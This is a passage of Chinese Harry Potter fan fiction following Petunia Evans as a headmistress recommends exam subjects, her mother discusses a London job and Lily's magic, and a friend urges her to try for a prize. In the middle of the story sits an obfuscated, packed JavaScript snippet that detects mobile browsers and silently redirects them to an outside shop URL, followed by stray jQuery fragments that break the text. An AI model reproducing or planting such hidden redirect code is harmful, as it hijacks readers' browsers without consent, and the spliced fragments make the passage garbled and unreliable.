“伊万斯小姐，请你同我来一下。”新学期一开始，在一个放学后的时刻，阿加莎女士对她说。


    在惴惴不安的心情中，佩妮第一次以被邀请的身份踏进了阿加莎女士的办公室。


    橘黄色的日光从窗户外洒进来，佩妮看见被阳光照亮的地板上十分干净，“小老鼠”的痕迹早已被收拾妥当。


    “请坐。”阿加莎女士坐在她的办公桌后面，佩妮则坐在了她对面的木凳上，与她相隔那张宽大的办公桌。


    她的书桌上仍旧摆放着许多文件，但皆被分门别类整齐地堆叠好。


    木凳子有一些硬，这使得佩妮不得不挺起自己的腰来，阿加莎女士高大的身影遮挡住了阳光，使她被笼罩在阴影里。


    佩妮的心开始打鼓，她的发带就藏在她的书包里，希望阿加莎女士不要在这时要求她打开自己的书包。


    “你看过这些吗？”几本书被轻轻地桌上推了过来。


    待佩妮看清楚书的封面，她差点从椅子上跳了起来。


    冬日烈火、风中的灰烬等等。


    这是那天索菲从阿加莎女士这里偷回去的书。


    不，不止，还有其他好几本书，都是佩妮和索菲一起看过的。


    佩妮看着阿加莎女士从办公桌后探寻过来的眼神，开始不自觉发起抖来。


    她发现了吗？她是什么时候发现的？


    佩妮没有回答她，但佩妮知道阿加莎女士肯定从自己的表情里找到了答案。


    阿加莎女士移开自己的视线，低头打开了她的抽屉。


    她肯定在找她那条银色的教鞭，为那晚她受到的损失讨回迟来的公道。


    一只看不见的手狠狠揪住了佩妮的内心，使她的嘴巴微张，却什么都说不出来，就像被海浪遗弃在沙滩上的濒死的鱼。


    水汽逐渐从她的眼眶里弥漫出来。


    说不知道，佩妮，快说自己什么都不知道，你没有看过这些书，你那天晚上也没有跟索菲来过她的办公室，你什么也不知道。


    仿佛下定了什么决心般，佩妮向阿加莎女士伸出了自己的两条胳臂，闭上眼，她对阿加莎女士说：“我看过这些书，那天晚上也是我。”


    滚烫的眼泪从佩妮的脸颊处滑落，她等待最后的宣判。


    但想象中的疼痛并没有到来，她只听见阿加莎女士慢吞吞的声音：“把你的手收回去，你觉得我会对你做什么？伊万斯小姐。”


    佩妮在惶恐和茫然中睁开了自己的眼睛，阿加莎女士坐在办公桌后，模糊的泪眼里，她看不清阿加莎女士的神情，只看见她胸前的十字吊坠闪烁着银色的光芒。


    “你从这些书里看见了什么？”阿加莎女士垂下了她的眼睛，她从抽屉里掏出了一封未开盖的墨水瓶，拧开了瓶盖，她把钢笔尖伸进了墨水瓶里，扯过来一张纸，握着沾了墨水的钢笔在纸上写着什么。


    一代又一代，女人的命运是一条川流不息的河水。


    阿加莎女士显然知道些什么，她也显然知道佩妮也知道什么，但她什么也没有多问。


    那里有一个舞台，佩妮告诉她，灯光、黑色的河水还有渡河的女人。


    在佩妮说话的时候，阿加莎女士始终没有抬起头。


    阿加莎女士把那张纸递过来。


    “这是根据伊万斯小姐你既往的课程水准，我推荐你在最后一个学期CSE考试中，可选择的科目。”她说。


    佩妮接过那张白纸，看了好几遍，才反应过来白纸上那些单词的意思。


    “你知道CSE是什么吧？”阿加莎女士看着佩妮，“对于你们来说，只要CSE合格，就可以用这张证书去换取一份工作，证书上具体的成绩其实并不重要。”


    “但我想说的是，每年的CSE考试，教会和政府会联合出资奖励每年CSE一等的学生一笔钱，以示对圣凯瑟琳现代中学教育的鼓励。”


    “在两门核心科目和三门选考科目中，您需要拿到起码四个一等，才能拿到这笔奖励，虽然金额不多，但为什么不试一下呢？伊万斯小姐。”


    佩妮瞪大了她的眼睛，只是眼泪早已干在了她的脸颊上，使她感到皮肤微微的紧绷。


    佩妮和妈妈在做苹果挞，妈妈看着杂志里关于挞皮制作的部分。


    佩妮按照妈妈的要求，在食品秤上称量处重量合适的面粉，加进了几个鸡蛋，随后倒入了适量的热水。


    黄油在平底锅里融化，空气里满是令人食指大动的香气。


    “奥莉维亚给我打电话说，她在伦敦帮你留意了一份极好的工作，等你毕业后就可以去找她了，佩妮。”妈妈说，“奥莉维亚同我说，这是一份坐在办公室里的工作，不必日晒雨淋，不必在工厂对着那些嗡鸣的蒸汽机，报酬也不低。”


    “一眨眼你就要中学毕业了。”妈妈感慨地说。


    佩妮搅拌面粉的手一顿，消息来的太突然，使她有一丝怔愣，原来对于她来说，离开科克沃斯是一件很简单的事情。


    “我知道你一直以来都想离开科克沃斯，佩妮。”妈妈说，“工厂、烟囱、永远也排不尽的废水，如果当初不是因为嫁给了你爸爸。”


    佩妮抬起头看着妈妈，妈妈红色的头发用一条棕色头巾扎了起来，她穿着一条有些年头的绿色碎花连衣裙，身前围着一件淡蓝色的棉质围裙，上面可见一些斑驳的油污痕迹。这是妈妈在厨房的经典造型。


    她正摇晃着平底锅，使黄油得以均匀地融化，好添加至面粉里。


    “关于你在伦敦的住房，你有两个选择，一个选择是，她为你找了一栋公寓里的房子，但是你需要自己支付房租，在伦敦，房租可不便宜。另外一个选择是，奥莉维亚同意你和她住在一起，只是她喜欢淑女，乖巧一点的女孩。”


    妈妈把平底锅从炉锅上拿开，她看着佩妮，对佩妮露出一个温柔又满意的笑容：“这点妈妈可不担心，一直以来，佩妮都是一个乖巧的淑女。”


    但是——


    “妈妈，”佩妮听见自己开口，“薇拉在炉灰巷门口开了一家杂货铺，我有时候会去她那里买东西，薇拉要走了我的画，把它挂在了那家杂货铺的墙上，现在那家杂货铺有名字了，它叫‘薇拉的杂货铺。’”


    “因为普尔佳的妹妹，普尔佳的爸爸想让她退学，但是我同她说，我希望她能够继续上学。”


    “索菲是我的朋友，我和她一起看过那些书，妈妈，一开始阅读那些书使我感到自由和力量。”


    “阿加莎女士为我推荐了五门CSE考试科目，她认为如果我想拿CSE一等，选这五门是最合适的。如果我在CSE考试中拿了一等，她说我会获得一笔奖金。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16190915|177776||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    厨房非常安静，只有炉火燃烧时偶尔发出的细微爆破。


    “把你的手拿开，小心被烫到。”妈妈把稍微冷却的黄油倒进了佩妮正在搅拌的铝盆里。


    “我怎么会不知道这些事呢。”妈妈没有生气，妈妈甚至一点也不意外，她只是对佩妮露出了一个稍显狡黠的笑容，这个笑容使佩妮隐约窥见了一点莉莉那生命力的来源，“你可是我的女儿。”


    妈妈的笑容不知怎地竟使佩妮的鼻尖稍微有一点发酸。


    “我竟然生了一个小巫师。”妈妈说。


    话题一下就跳到了莉莉身上。


    “我有两个女儿，其中有一个竟然是巫师。以前那些书本里像传说一样的故事，就发生在我女儿的身上。明明这个小巫师是我生下来的，”妈妈说，她是笑着说的，佩妮却听出了一点遗憾，“但为什么在我11岁的时候，却没有收到霍格沃茨给我寄来的信呢？是他们把我遗忘了，还是猫头鹰弄丢了我的信？”


    妈妈应该没有像自己这样，傻傻地给霍格沃茨写信，佩妮心想。


    “莉莉真是一个最幸运的小天使，但幸好这是我的女儿。”妈妈把装了黄油的铝盆从佩妮手中接过去，然后开始按揉起来，“在她的小时候，我真的很担心她。冒冒失失，永远都站在最前面，不知道什么叫害怕，多让人担心受怕呀，所以我不得不把更多的注意力放在她的身上。”


    妈妈拿走了铝盆。


    “但是莉莉有魔法，魔法可以保护她。就像她从秋千上掉下来，不至于摔断自己的脖子那样保护她。”


    “可是你呢，佩妮？”


    话题怎么又跳回了自己的身上，佩妮的手空了出来，她呆呆地低头看着自己沾满面粉的双手。


    “我们没有魔法，佩妮。作为不会魔法的普通人，妈妈该拿什么来保护你呢？我们又该怎么度过这平凡的一生呢？”


    “走一条大多数人都走过的路，妈妈也走过，妈妈可以帮你。但是要走别的路，妈妈就没有办法帮到你了。无论是佩妮，还是莉莉，妈妈只希望她们拥有虽然平凡，但幸福美满的生活。”


    苹果挞烤好了，闻起来实在是太香了。佩妮用嘴吹凉了一个苹果塔，在它没再冒出蒸腾的热气后塞进了自己的嘴巴里。


    还是好烫，挞芯太烫了，热气都在里面，滚烫的感觉好像从佩妮的喉咙一直烫到了胸口。


    她把苹果塔包装好，系在塞勒涅的脚上，她摸了摸塞勒涅光滑的羽毛——在月光下羽毛泛着莹白的光泽，现在看起来倒真有一些月光淑女的模样了。


    “快点寄给莉莉，没有魔法，这个可放不了多久。”塞勒涅清鸣了一声，飞出窗外，巨大的包裹并不影响它冲向月亮的矫健身姿。


    “足足有50英镑。”佩妮在电话里对伊索尔德说，“我打听到了，如果我考了CSE一等，他们会奖励我足足50英镑。”


    伊索尔德在电话里笑起来，她那边风声有一些大，但她的声音仍然清晰：“工作也找好了是吗？”


    佩妮捂紧自己的话筒：“妈妈说不会太累，工资也还可以，我能去伦敦了。”


    “等我有了自己的工资，我就去约克看你。”佩妮保证。


    “足足有50英镑呢，佩妮，”伊索尔德不知怎的话题又转回了CSE考试的奖金，“你得努力试一下。”